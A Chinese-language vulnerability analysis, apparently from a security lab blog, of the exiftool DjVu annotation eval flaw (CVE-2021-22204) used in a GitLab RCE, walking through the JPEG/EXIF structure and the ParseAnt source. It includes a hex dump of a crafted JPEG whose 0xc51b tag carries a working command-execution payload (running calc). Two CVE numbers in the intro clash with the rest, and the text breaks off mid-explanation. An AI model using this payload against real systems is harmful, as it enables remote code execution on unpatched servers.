文章寫于2022-01-19,首發(fā)在天融信阿爾法實驗室
目標導讀
- 1 前言
- 2 前置知識
- 2.1 JPEG文件格式
- 2.2 Perl模式匹配
- 3 exiftool源碼調試到漏洞分析
- 3.1 環(huán)境搭建
- 3.2 漏洞簡介
- 3.3 exiftool是如何解析嵌入的0xc51b標簽
- 3.4 exiftool是如何調用parseAnt函數(shù)
- 3.5 parseAnt函數(shù)分析
- 3.6 parseAnt漏洞分析
- 4 漏洞利用
- 4.1 DjVu文件生成
- 4.2 JPG文件生成
- 5 漏洞修復
- 6 總結
前言
安全研究員vakzz
于4月7日在hackerone上提交了一個關于gitlab的RCE漏洞,在當時并沒有提及是否需要登錄gitlab進行授權利用,在10月25日該漏洞被國外安全公司通過日志分析發(fā)現(xiàn)未授權的在野利用,并發(fā)現(xiàn)了新的利用方式。根據(jù)官方漏洞通告頁面得知安全的版本為13.10.3、13.9.6 和 13.8.8。該漏洞分為兩個部分,分別是:
- CVE-2021-22005 Gitlab 未授權
- exiftool RCE CVE-2021-22004
上一篇CVE-2021-22205 GitLab RCE之未授權訪問深入分析(一)復現(xiàn)分析了第一部分也就是攜帶惡意文件的請求是如何通過gitlab傳遞到exiftool進行解析的,接下來我將分析exiftool漏洞的原理和最后的觸發(fā)利用。 希望讀者能讀有所得,從中收獲到自己獨特的見解。
前置知識
同樣的我也會在本篇文章中梳理一些前置知識來讓讀者更深入的了解漏洞,舉一反三。
JPEG文件格式
本次漏洞可以通過讀取正常的JPG圖像文件的EXIF信息來觸發(fā)漏洞,而JPEG的文件格式直接定義了exiftool是如何來讀取jpg文件的exif信息,其中就包含了觸發(fā)漏洞的payload。所以我們有必要了解一下payload是如何被插入到JPG文件中又是怎么被讀取到的,而不影響圖片的正常顯示。
下面就來一探究竟,使用010 Editor打開一張帶有payload的圖片查看其文件格式,選擇jpg模版之后在下圖中可以看到,上方的Hex數(shù)據(jù)內容分別對應著下方模版結果欄存在的幾個標記段。
每個標記段通過Marker
來定位,如Marker
為SOI(Start Of Image)
的內容是0xFFD8
,Marker
為APP0~APP15
的內容是0xFFE0 ~ 0xFFEF
,Marker
的長度為固定的 2 Byte。除了開頭和結尾的Marker
外,其余的數(shù)據(jù)段格式為:
Marker Number(2 byte) + Data size(2 bytes) + Data((Size-2) bytes)
Marker后面兩個字節(jié)Data size
表示存儲Marker的數(shù)據(jù)段長度。如上圖表示APP0長度為16,APP1長度為210。大家可以看到APP0和APP1所表示的結構不太一樣,那是因為它們使用了不同的文件格式,前者為JFIF后者為Exif,它們都是遵循JIF標準的。所有的Exif數(shù)據(jù)都儲存在APP1數(shù)據(jù)段中。Exif數(shù)據(jù)部分采用TIFF格式組織,做為一種標記語言,TIFF與其他文件格式最大的不同在于除了圖像數(shù)據(jù),它還可以記錄很多圖像的其他信息。
這里我們重點關注一下APP1數(shù)據(jù)段,從上圖中來看APP1可以分為兩個大的部分,第一部分是前三個字段,從FFE1開始分別表示了APP1的位置長度和名稱。第二個部分剩下的字段為標準的TIFF格式,TIFF格式主要由三部分組成,分別是圖像文件頭IFH(Image File Header), 圖像文件目錄IFD(Image File Directory)和目錄項DE(Directory Entry)。結構如下:
+------------------------------------------------------------------------------+
| TIFF Structure |
| IFH |
| +------------------+ |
| | II/MM | |
| +------------------+ |
| | 42 | IFD |
| +------------------+ +------------------+ |
| | Next IFD Address |--->| IFD Entry Num | |
| +------------------+ +------------------+ |
| | IFD Entry 1 | |
| +------------------+ |
| | IFD Entry 2 | |
| +------------------+ |
| | | IFD |
| +------------------+ +------------------+ |
| IFD Entry | Next IFD Address |--->| IFD Entry Num | |
| +---------+ +------------------+ +------------------+ |
| | Tag | | IFD Entry 1 | |
| +---------+ +------------------+ |
| | Type | | IFD Entry 2 | |
| +---------+ +------------------+ |
| | Count | | | |
| +---------+ +------------------+ |
| | Offset |--->Value | Next IFD Address |--->NULL |
| +---------+ +------------------+ |
| |
+------------------------------------------------------------------------------+
根據(jù) TIFF Header (上面的IFH)的后四個字節(jié)(表示到IFD0的偏移),我們可以找到第一個IFD。本次示例圖的IFD如下:
根據(jù)第一個字段我們知道存在5個IFD Entry,分別代表5個exif標簽元數(shù)據(jù)。IFD Entry的字段分別指出了標簽標識符、類型、數(shù)量、和內容偏移/內容,而我們的payload正處于第5個標簽0xc51b中,在exiftool中這個標簽名為HasselbladExif??梢钥吹狡渲械?code>DWORD offsetData指向了struct strAscii
,這部分內容正是DjVu格式的數(shù)據(jù),exiftool解析到HasselbladExif
這個標簽則會調用特定函數(shù)遞歸解析其攜帶的內容,也就會解析DjVu注釋。我們使用exiftool的-v參數(shù)也能列出其文件結構,結果如下:
D:\Desktop\Works\Topsec\hacktips>exiftool-11.94.exe -v10 rce.jpg
ExifToolVersion = 11.94
FileName = rce.jpg
Directory = .
FileSize = 47343
FileModifyDate = 1641524876
FileAccessDate = 1642523214.51503
FileCreateDate = 1641524902.44145
FilePermissions = 33206
FileType = JPEG
FileTypeExtension = JPG
MIMEType = image/jpeg
JPEG APP0 (14 bytes):
0006: 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 [JFIF.....H.H..]
+ [BinaryData directory, 9 bytes]
| JFIFVersion = 1 1
| - Tag 0x0000 (2 bytes, int8u[2]):
| 000b: 01 01 [..]
| ResolutionUnit = 1
| - Tag 0x0002 (1 bytes, int8u[1]):
| 000d: 01 [.]
| XResolution = 72
| - Tag 0x0003 (2 bytes, int16u[1]):
| 000e: 00 48 [.H]
| YResolution = 72
| - Tag 0x0005 (2 bytes, int16u[1]):
| 0010: 00 48 [.H]
| ThumbnailWidth = 0
| - Tag 0x0007 (1 bytes, int8u[1]):
| 0012: 00 [.]
| ThumbnailHeight = 0
| - Tag 0x0008 (1 bytes, int8u[1]):
| 0013: 00 [.]
JPEG APP1 (208 bytes):
0018: 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 [Exif..MM.*......]
0028: 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 [...........J....]
0038: 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 [.......R.(......]
0048: 00 02 00 00 02 13 00 03 00 00 00 01 00 01 00 00 [................]
0058: c5 1b 00 02 00 00 00 6f 00 00 00 5a 00 00 00 00 [.......o...Z....]
0068: 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 [...H.......H....]
0078: 41 54 26 54 46 4f 52 4d 00 00 00 62 44 4a 56 55 [AT&TFORM...bDJVU]
0088: 49 4e 46 4f 00 00 00 0a 00 00 00 00 18 00 2c 01 [INFO..........,.]
0098: 16 01 42 47 6a 70 00 00 00 22 41 54 26 54 46 4f [..BGjp..."AT&TFO]
00a8: 52 4d 00 00 00 00 44 4a 56 55 49 4e 46 4f 00 00 [RM....DJVUINFO..]
00b8: 00 0a 00 00 00 00 18 00 2c 01 16 01 41 4e 54 61 [........,...ANTa]
00c8: 00 00 00 1a 28 6d 65 74 61 64 61 74 61 20 22 5c [....(metadata "\]
00d8: 0a 22 2e 60 63 61 6c 63 60 2e 5c 22 67 22 00 00 [.".`calc`.\"g"..]
ExifByteOrder = MM
+ [IFD0 directory with 5 entries]
| 0) XResolution = 72 (72/1)
| - Tag 0x011a (8 bytes, rational64u[1]):
| 0068: 00 00 00 48 00 00 00 01 [...H....]
| 1) YResolution = 72 (72/1)
| - Tag 0x011b (8 bytes, rational64u[1]):
| 0070: 00 00 00 48 00 00 00 01 [...H....]
| 2) ResolutionUnit = 2
| - Tag 0x0128 (2 bytes, int16u[1]):
| 0048: 00 02 [..]
| 3) YCbCrPositioning = 1
| - Tag 0x0213 (2 bytes, int16u[1]):
| 0054: 00 01 [..]
| 4) HasselbladExif = AT&TFORMbDJVUINFO..,...BGjp"AT&TFORMDJVUINFO..,...ANTa.(metadata "\.".`calc`.\"g"
| - Tag 0xc51b (111 bytes, string[111] read as undef[111]):
| 0078: 41 54 26 54 46 4f 52 4d 00 00 00 62 44 4a 56 55 [AT&TFORM...bDJVU]
| 0088: 49 4e 46 4f 00 00 00 0a 00 00 00 00 18 00 2c 01 [INFO..........,.]
| 0098: 16 01 42 47 6a 70 00 00 00 22 41 54 26 54 46 4f [..BGjp..."AT&TFO]
| 00a8: 52 4d 00 00 00 00 44 4a 56 55 49 4e 46 4f 00 00 [RM....DJVUINFO..]
| 00b8: 00 0a 00 00 00 00 18 00 2c 01 16 01 41 4e 54 61 [........,...ANTa]
| 00c8: 00 00 00 1a 28 6d 65 74 61 64 61 74 61 20 22 5c [....(metadata "\]
| 00d8: 0a 22 2e 60 63 61 6c 63 60 2e 5c 22 67 22 00 [.".`calc`.\"g".]
| FileType = DJVU
| FileTypeExtension = DJVU
| MIMEType = image/vnd.djvu
AIFF 'INFO' chunk (10 bytes of data): 24
| INFO (SubDirectory) -->
| - Tag 'INFO' (10 bytes):
| 0018: 00 00 00 00 18 00 2c 01 16 01 [......,...]
| + [BinaryData directory, 10 bytes]
| | ImageWidth = 0
| | - Tag 0x0000 (2 bytes, int16u[1]):
| | 0018: 00 00 [..]
| | ImageHeight = 0
| | - Tag 0x0002 (2 bytes, int16u[1]):
| | 001a: 00 00 [..]
| | DjVuVersion = 24 0
| | - Tag 0x0004 (2 bytes, int8u[2]):
| | 001c: 18 00 [..]
| | SpatialResolution = 11265
| | - Tag 0x0006 (2 bytes, int16u[1]):
| | 001e: 2c 01 [,.]
| | Gamma = 22
| | - Tag 0x0008 (1 bytes, int8u[1]):
| | 0020: 16 [.]
| | Orientation = 1
| | - Tag 0x0009, mask 0x07 (1 bytes, int8u[1]):
| | 0021: 01 [.]
AIFF 'BGjp' chunk (34 bytes of data): 42
| 0000: 41 54 26 54 46 4f 52 4d 00 00 00 00 44 4a 56 55 [AT&TFORM....DJVU]
| 0010: 49 4e 46 4f 00 00 00 0a 00 00 00 00 18 00 2c 01 [INFO..........,.]
| 0020: 16 01 [..]
AIFF 'ANTa' chunk (26 bytes of data): 84
| ANTa (SubDirectory) -->
| - Tag 'ANTa' (26 bytes):
| 0054: 28 6d 65 74 61 64 61 74 61 20 22 5c 0a 22 2e 60 [(metadata "\.".`]
| 0064: 63 61 6c 63 60 2e 5c 22 67 22 [calc`.\"g"]
| | Metadata (SubDirectory) -->
| | + [Metadata directory with 1 entries]
| | | Warning = Ignored invalid metadata entry(s)
JPEG DQT (65 bytes):
00ec: 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a [................]
00fc: 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 [................]
010c: 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 [.....%...#... , ]
011c: 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 [#&')*)..-0-(0%()]
012c: 28 [(]
JPEG DQT (65 bytes):
0131: 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 [...........(...(]
0141: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 [((((((((((((((((]
0151: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 [((((((((((((((((]
0161: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 [((((((((((((((((]
0171: 28 [(]
JPEG SOF2 (15 bytes):
0176: 08 01 d3 02 ee 03 01 22 00 02 11 01 03 11 01 [.......".......]
ImageWidth = 750
ImageHeight = 467
EncodingProcess = 2
BitsPerSample = 8
ColorComponents = 3
YCbCrSubSampling = 2 2
JPEG DHT (26 bytes):
0189: 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 [................]
0199: 00 00 01 02 03 04 05 06 07 08 [..........]
JPEG DHT (24 bytes):
01a7: 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 [................]
01b7: 00 00 01 02 03 04 05 06 [........]
JPEG SOS
JPEG DHT (50 bytes):
1767: 10 00 02 01 03 02 04 05 03 04 02 02 03 01 01 00 [................]
1777: 00 01 02 03 00 04 11 12 21 05 10 13 31 20 22 30 [........!...1 "0]
1787: 32 33 14 23 41 06 24 34 40 35 42 15 43 25 50 60 [23.#A.$4@5B.C%P`]
1797: 44 16 [D.]
JPEG SOS
JPEG DHT (47 bytes):
33b1: 11 00 02 01 03 02 04 05 02 05 05 01 00 00 00 00 [................]
33c1: 00 00 01 02 03 11 12 04 21 10 13 20 31 05 22 30 [........!.. 1."0]
33d1: 32 41 23 51 14 33 42 43 61 15 34 40 50 71 81 [2A#Q.3BCa.4@Pq.]
JPEG SOS
JPEG DHT (49 bytes):
3b9d: 11 00 02 02 01 03 02 05 03 03 03 04 03 01 00 00 [................]
3bad: 00 01 02 00 03 11 04 12 21 10 31 13 20 22 32 41 [........!.1. "2A]
3bbd: 05 14 51 30 33 61 23 40 43 15 24 42 71 34 81 b1 [..Q03a#@C.$Bq4..]
3bcd: 91 [.]
JPEG SOS
JPEG DHT (57 bytes):
46e2: 10 00 01 03 02 03 07 02 03 06 06 02 02 03 00 00 [................]
46f2: 00 01 00 02 11 10 21 03 12 31 20 22 30 41 51 61 [......!..1 "0AQa]
4702: 71 04 40 13 32 81 23 42 50 62 91 a1 52 60 72 73 [q.@.2.#BPb..R`rs]
4712: 82 b1 92 c1 14 33 34 63 d1 [.....34c.]
JPEG SOS
JPEG DHT (40 bytes):
57aa: 10 00 02 02 02 02 02 01 04 02 03 01 01 01 00 00 [................]
57ba: 00 00 01 11 21 10 31 41 51 20 61 71 30 81 91 a1 [....!.1AQ aq0...]
57ca: b1 c1 40 d1 f0 e1 50 f1 [..@...P.]
JPEG SOS
JPEG SOS
JPEG DHT (40 bytes):
783e: 11 01 00 02 02 02 03 00 02 01 03 04 03 00 00 00 [................]
784e: 00 01 00 11 21 31 10 41 20 51 61 30 71 81 91 a1 [....!1.A Qa0q...]
785e: e1 40 50 b1 c1 d1 f0 f1 [.@P.....]
JPEG SOS
JPEG DHT (40 bytes):
7f3f: 11 01 01 01 00 02 03 00 02 02 01 04 02 03 01 00 [................]
7f4f: 00 01 00 11 21 31 10 41 51 20 61 71 81 a1 30 91 [....!1.AQ aq..0.]
7f5f: b1 c1 40 f0 50 d1 e1 f1 [..@.P...]
JPEG SOS
JPEG DHT (39 bytes):
87d4: 10 01 00 02 02 02 02 01 04 02 03 01 01 01 00 00 [................]
87e4: 00 01 00 11 21 31 41 51 10 61 71 20 81 91 a1 b1 [....!1AQ.aq ....]
87f4: c1 30 d1 f0 40 e1 f1 [.0..@..]
JPEG SOS
JPEG EOI
總結如下,圖片來自圖像元數(shù)據(jù)(Metadata) ——Exif信息分析
perl模式匹配
Perl中的一個正則表達式也稱為一個模式,一共有三種模式,分別是匹配,替換和轉化,這三種形式一般都和 =~ 或 !~ 搭配使用,=~ 表示相匹配,!~ 表示不匹配。本文主要介紹模式匹配,定義如下:
m/<regexp>/
/<regexp>/
m?<regexp>?
模式匹配中有下列幾種選項,位于表達式末尾:
選項 | 描述 |
---|---|
i | 忽略模式中的大小寫 |
m | 多行模式 |
o | 僅賦值一次 |
s | 單行模式,"."匹配"\n"(默認不匹配) |
x | 忽略模式中的空白 |
g | 全局匹配 |
cg | 全局匹配失敗后,允許再次查找匹配串 |
這里主要介紹g
、m
和s
選項,首先來看g
選項,示例如下:
$str = "I am superman";
for (;;) {
last unless $str =~ /(\S)/g;
print pos($str).".".$1;
print " ";
}
代碼輸出結果為
1.I 3.a 4.m 6.s 7.u 8.p 9.e 10.r 11.m 12.a 13.n
可以看到其作用就是遍歷輸出每個和正則表達式相匹配的字符,并為其標號,下面就來解讀下這段代碼中的幾個關鍵點:
-
last unless
表示其后的表達式返回0則退出循環(huán)。 - 使用正則模式匹配
$str =~ /(\S)/g;
來全局匹配非空格字符。 -
pos
函數(shù)用于查找最后匹配的子字符串的偏移量或位置。 - 匹配的表達式中,括號部分的匹配項內容用
$
標號表示,$1
則表示第一個括號匹配的內容。
由于使用了g
全局匹配,此時會匹配盡可能多的次數(shù),所以每次進入for循環(huán)匹配到的都是下一個滿足正則表達式的內容,此后分別打印了匹配的位置和內容,實現(xiàn)了遍歷字符串。
下面來看使用m
選項和s
選項,看下面的示例代碼:
$str = "Topsec\nalpha\nlab";
print '1' if $str =~ /^alpha$/m;
print '2' if $str =~ /alpha.*lab/s;
代碼將輸出12
- m選項
默認的正則開始^
和結束$
是對于整個字符串。如果在修飾符中加上m
,那么開始和結束將會指字符串的每一行:每一行的開頭就是^
,結尾就是$
。由于在字符串中使用了\n
換行。所以使用m
模式時會將字符串視為多行,不管是那行都能匹配。
- s選項
一般的模式匹配中pattern指的都是單行的字符串,所以只能用于匹配換行前面,或者后面。加上模式匹配選項s
后點號元字符將匹配所有字符,包含換行符。所以對于字符串Topsec\nalpha\nlab
,雖然含有\n
,但是仍然會將其作為單行的字符串,這種情況下這行中就含有alpha
和lab
。
exiftool源碼調試到漏洞分析
環(huán)境搭建
exiftool是由perl語言編寫的,所以我們只需要在ide中配置好perl環(huán)境,然后打開exiftool工程即可。exiftool源碼下載地址為releases。選擇下載存在漏洞的對應版本即可,這里下載的是v12.23。ide選擇的是Komodo。安裝相關環(huán)境后點擊此處打開exiftool工程目錄然后打開目錄下的windows_exiftool文件
點擊第一行的運行按鈕,如果出現(xiàn)報錯提示忽略即可,此時彈出Debugging Options
,在腳本參數(shù)一欄填寫需要傳遞的參數(shù)如-ver查看版本,最后點擊OK,在右下角即可查看運行輸出結果。如果需要調試斷點直接在指定代碼行處斷下即可。
漏洞簡介
引用上一篇的部分前置知識:
ExifTool由Phil Harvey開發(fā),是一款免費、跨平臺的開源軟件,用于讀寫和處理圖像(主要)、音視頻和PDF等文件的元數(shù)據(jù)(metadata)。ExifTool可以作為Perl庫(Image::ExifTool)使用,也有功能齊全的命令行版本。ExifTool支持很多類型的元數(shù)據(jù),包括Exif、IPTC、XMP、JFIF、GeoTIFF、ICC配置文件、Photoshop IRB、FlashPix、AFCP和ID3,以及眾多品牌的數(shù)碼相機的私有格式的元數(shù)據(jù)。
DjVu是由AT&T實驗室自1996年起開發(fā)的一種圖像壓縮技術,已發(fā)展成為標準的圖像文檔格式之一,可以作為PDF的替代品。
ExifTool在xxx解析文件的時候會忽略文件的擴展名,嘗試根據(jù)文件的內容來確定文件類型,其中支持的類型有DjVu。關鍵在于ExifTool在解析DjVu注釋的ParseAnt
函數(shù)中存在漏洞,漏洞的構造觸發(fā)可以分為三步:
- 構造DjVu文件嵌入惡意代碼到注釋塊
ANTa
或者ANTz
中。 - 將DjVu文件以插入到jpg中的標簽元數(shù)據(jù)內,標簽名稱是
HasselbladExif(0xc51b)
。 - 當exiftool解析到特定標簽名
HasselbladExif(0xc51b)
時,會遞歸解析其中數(shù)據(jù),最后調用ParseAnt
,造成了ExifTool代碼執(zhí)行漏洞。
該漏洞存在于ExifTool的7.44版本以上,在12.4版本中修復。想知道parseAnt函數(shù)是怎么被調用的嗎?下面就跟我一起進入exiftool的源碼來一探究竟吧。
根據(jù)原作者文章CVE-2021-22204 - ExifTool RCE詳細分析(翻譯版本)在存在漏洞的ParseAnt函數(shù)(\lib\Image\ExifTool\DjVu.pm
)中關鍵處打下斷點
切換到windows_exiftool文件點擊運行在啟動參數(shù)處填入jpg文件地址
此時在右下角可以看到調用棧
我們根據(jù)調用棧的輔助來簡單分析一下其中的幾個關鍵點:
- exiftool是如何解析嵌入的
0xc51b(HasselbladExif)
標簽。 - DjVu模塊中的
parseAnt
函數(shù)是怎么被調用的。
exiftool是如何解析嵌入的0xc51b標簽
首先來看第一個問題,跟進調用棧中的ExtractInfo
函數(shù),根據(jù)其代碼中定義處的注釋(如下)得知該函數(shù)的作用就是從圖像中提取元信息
# Extract meta information from image
# Inputs: 0) ExifTool object reference
# 1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
#...
}
一步步分析調試后發(fā)現(xiàn)在2583行會通過until
遍歷fileTypeList
數(shù)組,其值來自fileTypes
,存儲著已識別的文件類型,之后的處理會一個個取出成員賦值給tpye
,并判斷當前類型對應的幻數(shù)$magicNumber{$type}
是否匹配內容$buff
的頭部進而來確定文件類型,如下圖:
根據(jù)獲取到type來動態(tài)調用相關處理函數(shù),如下圖:
在6495行判斷內容標記為E1并且是exif開頭時根據(jù)前置知識的分析會進入TIFF的目錄結構解析,如下圖:
在ProcessExif
函數(shù)的5866行開始會循環(huán)遍歷IFD中的所有條目,其中就包括了我們插入的hassexif(0xc51b)標簽,50459為0xc51b的十進制值,調用棧和調用邏輯如下圖:
現(xiàn)在來看看關于該標簽的定義,注釋為Hasselblad H3D
,搜索得知是一個相機品牌,關于其exif信息的處理在RawConv字段定義著一些代碼,這些代碼中調用到了ExtractInfo函數(shù):
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
繼續(xù)跟進在6565行調用FoundTag
獲取該標簽處理方式RawConv
并傳入標簽所攜帶的數(shù)據(jù),如下圖:
進入FoundTag函數(shù)后發(fā)現(xiàn)在其中取出并執(zhí)行了RawConv,如下圖:
接下來進入ExtractInfo執(zhí)行元數(shù)據(jù)的嵌套解析也就是0xc51b標簽的內容。此時第一個疑惑exiftool是如何解析嵌入的0xc51b(HasselbladExif)
標簽已經(jīng)解決。
exiftool是如何調用parseAnt函數(shù)
現(xiàn)在來看DjVu模塊中的parseAnt
函數(shù)是怎么被調用的。進入ExtractInfo后會再次來到前面分析過的until
遍歷確定文件類型,如下圖:
加載相應處理函數(shù)并調用,如下圖:
在ProcessAIFF中判斷是否DJVU文件,并加載對應標簽配置表%Image::ExifTool::DjVu::Main
,如下圖:
表中定義了一些數(shù)據(jù)塊字段名諸如INFO、ANTa、ANTz,字段中的SubDirectory
指向了另一個標簽表,其中ANTa和ANTz為同一個:
# DjVu chunks that we parse (ref 4)
%Image::ExifTool::DjVu::Main = (
GROUPS => { 2 => 'Image' },
NOTES => q{
Information is extracted from the following chunks in DjVu images. See
L<http://www.djvu.org/> for the DjVu specification.
},
INFO => {
SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Info' },
},
FORM => {
TypeOnly => 1, # extract chunk type only, then descend into chunk
SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Form' },
},
ANTa => {
SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Ant' },
},
ANTz => {
Name => 'CompressedAnnotation',
SubDirectory => {
TagTable => 'Image::ExifTool::DjVu::Ant',
ProcessProc => \&ProcessBZZ,
}
},
INCL => 'IncludedFileID',
);
接來下就開始循環(huán)獲取數(shù)據(jù)塊內容并調用HandleTag
進行處理,如下圖中獲取到了ANTa
注釋塊:
按照邏輯獲取到注釋塊之后應該查找其在標簽配置表%Image::ExifTool::DjVu::Main
的位置,所以在HandleTag
函數(shù)中獲取到了ANTa
注釋塊對應的SubDirectory
,為Image::ExifTool::DjVu::Ant
(參照前文標簽配置表),如下圖:
因為得到的SubDirectory
同樣是一個標簽表,所以會通過GetTagTable
函數(shù)獲取其內容,如下圖:
獲取的內容如下,其中的PROCESS_PROC
指向了一個函數(shù)地址:
# tags found in the DjVu annotation chunk (ANTz or ANTa)
%Image::ExifTool::DjVu::Ant = (
PROCESS_PROC => \&Image::ExifTool::DjVu::ProcessAnt,
GROUPS => { 2 => 'Image' },
NOTES => 'Information extracted from annotation chunks.',
# Note: For speed, ProcessAnt() pre-scans for known tag ID's, so if any
# new tags are added here they must also be added to the pre-scan check
metadata => {
SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Meta' }
},
xmp => {
Name => 'XMP',
SubDirectory => { TagTable => 'Image::ExifTool::XMP::Main' }
},
);
上圖代碼的下一行會進入ProcessDirectory
處理目錄也就是標簽表,在函數(shù)中的7708行通過$$tagTablePtr{PROCESS_PROC}
將Image::ExifTool::DjVu::ProcessAnt
的地址傳遞給變量$proc
。tagTablePtr
來自于%Image::ExifTool::DjVu::Ant
,其中的PROCESS_PROC
為硬編碼,上方也能看出。
其后在7741行中調用了$proc
傳入了dirinfo哈希變量,其中的鍵DataPt
包含了ANTa注釋塊的內容也就是我們的payload。
這時跟進去后在ProcessAnt
中就發(fā)現(xiàn)了我們熟悉的parseAnt
被調用,ProcessAnt
的作用是處理DjVu注釋塊(ANTa或解碼ANTz),代碼中首先取到了$dataPt
,然后判斷是否存在名稱為metadata或xmp的部分S表達式,正常情況下的表達式為(metadata (<tag> "<payload>"))
。最后調用parseAnt
解析表達式。
parseAnt函數(shù)分析
到了關鍵的parseAnt
函數(shù),為什么會導致代碼執(zhí)行,下面就來分析一下該函數(shù)。為了方便理解,我在保持parseAnt原作用的情況下對調用進行了分析打印,代碼如下:
sub ParseAnt($)
{
my $dataPt = shift;
print "首次進入變量內容為:".$$dataPt."\n";
#print $$dataPt;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
print "獲取的非空字符串為:".$1."\n";
if ($1 eq '(') { # start of list
print "進入遞歸解析\n";
$tok = ParseAnt($dataPt);
print "進入遞歸結果為$tok\n";
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
my $tok = '';
print "進入子串解析\n";
for (;;) {
print "循環(huán)子串解析\n";
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
print "首個引號偏移量為:".$pos."\n";#第一個引號位置
last Tok unless $$dataPt =~ /"/sg;
print "第二個引號偏移量為:".pos($$dataPt)."\n";
my $len=pos($$dataPt)-1-$pos;
print "切割字符串為:$$dataPt,起始位置為:$pos,長度為:$len\n";
my $sub=substr($$dataPt, $pos, $len);
my $part=$tok;
$tok .= $sub;
print "切割后的字符串為:$tok=$part+$sub\n";#首先解析的是引號內的內容
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;#處理存在轉義的情況
$tok .= '"'; # quote is part of the string
print "如果是奇數(shù)個反斜杠結尾,則添加引號字符串為:$tok\n";
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
print "eval執(zhí)行前為:$tok\n";
$tok =eval qq{"$tok"};
print "eval執(zhí)行后為:$tok\n";
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/g ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
my $ant='(metadata (name "exif\"tool"))';
ParseAnt(\$ant)
上方代碼中我會通過parseAnt
來解析一個標準的DjVu注釋(metadata (name "exif\"tool"))
來帶你理解函數(shù)的執(zhí)行流程。
我將過程分為三個部分:
- 首先在循環(huán)中使用
last unless $$dataPt =~ /(\S)/sg
獲取注釋中的非空字符逐個判斷,當字符為"
時則進入內容解析,此時會通過pos函數(shù)獲取前面正則匹配的引號位置。其后又使用正則和pos函數(shù)判斷了下一個引號的位置,并使用substr切割其中的字符串。 - 關鍵代碼
last unless $tok =~ /(\\+)$/ and length($1) & 0x01
中使用正則(\\+)$
匹配切割后字符串結尾的反斜杠,通過and來連接length($1) & 0x01;
(當單數(shù)和0x01進行與運算時會返回1)判斷反斜杠是否為單數(shù)個,單數(shù)個反斜杠說明該段內容中存在被轉義的引號,則拼接一個引號到字符串中繼續(xù)進行循環(huán),直到匹配不到或者為偶數(shù)時退出循環(huán),為什么要采用拼接雙引號的形式,因為這里原本取的就是雙引號之間的內容,所以不會取到其中原本就包含雙引號的情況,需要拼接。 - 通過
s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge
替換模式將切割后字符串中的$
和@
字符分別轉義為\$
和\@
避免之后帶入eval造成代碼執(zhí)行風險。而eval的作用根據(jù)注釋是實現(xiàn)對某些轉義的處理,例如\n
。
打印的執(zhí)行結果如下:
首次進入變量內容為:(metadata (name "exif\"tool"))
獲取的非空字符串為:(
進入遞歸解析
首次進入變量內容為:(metadata (name "exif\"tool"))
獲取的非空字符串為:m
獲取的非空字符串為:(
進入遞歸解析
首次進入變量內容為:(metadata (name "exif\"tool"))
獲取的非空字符串為:n
獲取的非空字符串為:"
進入子串解析
循環(huán)子串解析
上一個引號偏移量為:17
第二個引號偏移量為:23
切割字符串為:(metadata (name "exif\"tool")),起始位置為:17,長度為:5
切割后的字符串為:exif\=+exif\
如果是奇數(shù)個反斜杠結尾,則添加引號字符串為:exif\"
循環(huán)子串解析
上一個引號偏移量為:23
第二個引號偏移量為:28
切割字符串為:(metadata (name "exif\"tool")),起始位置為:23,長度為:4
切割后的字符串為:exif\"tool=exif\"+tool
eval執(zhí)行前為:exif\"tool
eval執(zhí)行后為:exif"tool
獲取的非空字符串為:)
進入遞歸結果為ARRAY(0x3ad4130)
獲取的非空字符串為:)
進入遞歸結果為ARRAY(0x3ac87c0)
parseAnt漏洞分析
通過上面的分析我們知道了函數(shù)中存在一個代碼執(zhí)行eval點如下:
eval qq{"$tok"};
#or
eval "\"$tok\"";
在Perl提供了另一個引號機制,即qq和qx等(雙引號和反引號
)。使用qq
運算符(qq+界限符
),就可以避免使用雙引號將字符串包起來,從而不需額外轉義在字符串中原本帶有的雙引號。界限符可以選擇:( ),< >,{ },[ ]
其中的一對。使用qx
